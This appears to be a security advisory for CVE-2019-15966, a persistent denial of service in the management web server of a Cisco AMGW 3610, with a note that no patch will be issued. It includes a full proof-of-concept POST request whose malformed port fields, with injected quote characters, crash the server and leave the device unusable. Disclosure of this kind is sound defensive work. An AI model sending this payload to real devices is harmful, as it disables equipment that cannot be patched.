Synopsis
CVE-2019-15966: HTTP Server Denial of Service
Cisco AMGW 3610 version 1.1(1.42) has a denial of service vulnerability which affects the management HTTP server. An authenticated user can send a malformed configuration request to the server to cause a segmentation fault. The configuration will persist through device reboots and cause the web server to be inaccessible, rendering the device unusable.
POST /settings_change_network_services.html HTTP/1.1 Host: w.x.y.z Connection: close Content-Length: 250 Cache-Control: max-age=0 Origin: https://w.x.y.z Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Sec-Fetch-Site: same-origin Referer: http://w.x.y.z/settings_services.html?services_updated=true Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: cookie=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijkl http_enable_1=on'"&http_port_1=80'"&https_port_1=4443&sip_tcp_enable_1=on&sip_tcp_port_1=5060&sips_tcp_port_1=5061&ftp_enable_1=on&ftp_port_1=21&snmp_port_1=161&sip_udp_enable_1=on&sip_udp_port_1=5060&update_tcp_services=Apply+changes
Solution
None, the device has reached its end of life support and Cisco will not issue a patch.Disclosure Timeline
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